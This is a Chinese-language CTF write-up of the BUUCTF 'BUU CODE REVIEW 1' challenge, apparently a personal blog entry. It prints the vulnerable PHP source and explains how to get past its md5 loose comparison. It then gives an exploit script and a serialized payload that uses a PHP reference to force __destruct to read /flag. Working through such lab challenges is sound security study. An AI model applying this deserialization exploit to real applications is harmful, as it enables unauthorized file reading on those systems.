这篇文章记录了我在BUUCTF的刷题之旅,会持续更新。
1.BUU CODE REVIEW 1
解题思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| highlight_file(__FILE__);
class BUU { public $correct = ""; public $input = "";
public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } }
if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
|
题目源码很清晰,分为两个部分,第一部分发现echo file_get_contents(“/flag”);想办法实例化这个类并调用该方法,第二部分找到反序列化obj,先进行简单的md5绕过,数组绕过和科学计数法绕过都可以。然后构造exp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class BUU { public $correct = ""; public $input = "";
public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } $exp=new BUU(); $exp->input=&$exp->correct; echo serialize($exp); ?>
|
这个exp的构造是学习了一个师傅的wp,又学到新知识了,这个师傅是这样解释的,我感觉很到位,为什么要这么构造呢?因为uniqid() 产生的数是随时变化的,无法预测,所以input 传值多少无法确定。那么我们就得把值确定下来,这个引用就类似c++指针一样,引用是一种使两个变量共享同一内存空间的机制。还给了例子:
1 2 3 4 5 6 7 8 9 10
| $a = 5; $b = &$a;
echo $a; echo $b;
$b = 10;
echo $a; echo $b;
|
然后得到obj=O:3:”BUU”:2:{s:7:”correct”;s:0:””;s:5:”input”;R:2;}
